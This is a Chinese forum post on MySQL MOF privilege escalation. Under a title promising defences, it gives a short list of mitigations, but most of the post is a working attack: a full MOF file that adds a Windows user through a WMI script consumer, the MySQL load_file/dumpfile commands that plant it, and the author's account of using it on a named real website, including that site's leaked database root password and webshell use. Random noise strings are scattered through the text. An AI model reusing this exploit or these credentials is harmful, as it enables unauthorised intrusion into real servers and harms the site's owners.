Mysql mof扩展漏洞防范方法
/ H, [+ _" ?+ t5 Z3 ^3 L7 o- Y7 M \$ T0 S
网上公开的一些利用代码:) ]" {) \' k9 ? \
, u! x7 ?, @9 g! z) M1 A2 V0 W#pragma namespace(“\\\\.\\root\\subscription”)
& P u( H9 e ^( E1 T+ d
$ O2 @' l: R* s3 x( V7 finstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };0 P N3 b6 U2 b
" b& {% G! ~9 b+ o& M 1 B$ ~" q& \ I- I1 K1 @5 R
% T+ E/ ^& R& n4 R1 l5 N
0 q: ~ {' j& w6 s
0 |- ] L' S- c+ f
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;) O Y2 |1 U* P2 p5 u
从上面代码来看得出解决办法:
' c) n! G* ]! Y, @3 C* u+ T. o; N0 s0 g9 h
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
8 H3 g+ S$ |+ E. e% Q) B
5 Z. _2 g" k" l- `: m2、禁止使用”WScript.Shel”组件9 N% y! ?* y) P
1 z' x+ k6 Z" n/ g# p$ h% o
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
8 F' i6 R3 v$ k0 c K
$ ?, p5 e; z: _7 X! N% P4 E# Z% k当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下0 h) T: s. c, y' S- m) G
3 T* V# k! W8 c- ~0 E7 ^) Y7 i
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权3 A" W) [8 ]& B& c
% K' K) U M% k6 F( H" O2 x; D但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
) G) g$ L, c) T7 K, v6 k9 T1 `9 J
! W5 v; b7 m' O! O看懂了后就开始练手吧
$ m( Q" Q, M! R0 }$ K+ m7 o- G B$ ]* ~0 O& ~6 r
http://www.webbmw.com/config/config_ucenter.php 一句话 a
) f. }' s: u+ Q5 H$ Z
! n3 w3 U: f! `$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
4 V8 m: _6 f7 g' K2 y% ]- i3 p1 c1 ]/ l. S+ d# J" R9 q- t
于是直接用菜刀开搞
- ^$ \$ ^4 T9 ]7 F6 ^: N7 X: D
9 d; K# v0 X; A$ o上马先* \- u- ]8 H% v0 h8 o8 q
* |9 |+ H6 L2 E% k% h
既然有了那些账号 之类的 于是我们就执行吧…….0 u+ a4 o- i& k) B( z3 R7 w
% c9 R3 x0 r5 ^, k! E2 B
小小的说下* ]2 T' q. i* x% ^ i3 c
# X+ v7 c( C8 w. M1 l% {" o在这里第1次执行未成功 原因未知
8 R1 ~. q9 l5 _1 @3 P1 Q! |" `- u2 c8 s
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
1 M O" I, K' u0 g8 K: k' P/ @8 a1 |! k: H( `- Q
#pragma namespace(“\\\\.\\root\\subscription”). N6 o3 d5 ]3 [
4 z6 J7 l2 f9 ~/ |# T, _ Jinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
- b& x- ~; g% d1 T9 ]2 \. r( m5 ^4 J3 ^1 s$ z: ^
我是将文件放到C:\WINDOWS\temp\1.mof- Y$ y% w! q7 j1 Y6 N9 n
$ | W3 @/ V4 e, w5 e: D
所以我们就改下执行的代码
. z/ S* \1 m' A6 z- n" Q# ]# o+ J2 x C: g7 d
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
* j0 [8 U3 {* A/ B+ b( \$ u! S3 H+ e9 U) A- m$ t
& a" ~5 ?# ^" y
3 k8 o% m+ {+ f但是 你会发现账号还是没有躺在那里。。
. q# V; Y2 B# X. V; c* l3 b; Z, t8 z1 F f+ U
于是我就感觉蛋疼
- X! T7 s; X+ f$ t4 l5 E0 g" P9 W f9 C, b9 O0 B1 h0 R
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
! ~8 k, {: R0 k y: {& E" l) Y8 Y, m8 Q G$ F3 ]. C
$ b& F3 @2 B! n8 Q& q
* X9 B! j: {7 a& n Z但是其他库均不成功… |8 T2 v0 Y7 T/ H6 b7 ^. ~+ e
5 q' u6 m6 a' \- }# I- |$ N8 M! N2 n我就很费解呀 到底为什么不成功求大牛解答…; g! k) V& g# E- Q. C- H$ j
4 O& v- I' g5 k* N. t8 e6 S, N4 j& |, Y
$ c( x6 A1 U+ \/ q: p7 W: t
|